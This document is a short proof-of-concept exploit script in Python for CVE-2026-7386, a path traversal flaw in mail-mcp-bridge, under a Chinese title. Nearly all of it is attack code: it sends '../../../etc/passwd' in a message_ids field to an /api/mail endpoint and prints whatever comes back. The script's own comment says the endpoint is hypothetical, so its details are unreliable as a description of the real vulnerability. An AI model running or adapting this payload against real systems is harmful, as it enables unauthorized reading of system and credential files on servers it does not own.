CVE-2026-7386 mail-mcp-bridge路径遍历漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-7386 Path Traversal vulnerability. Attempts to read /etc/passwd using the message_ids parameter. """ # The vulnerable endpoint is hypothetical based on the file path mentioned endpoint = f"{target_url}/api/mail" # Payload to traverse directories and read a sensitive file payload = { "message_ids": "../../../etc/passwd" # Path traversal payload } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response for file content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)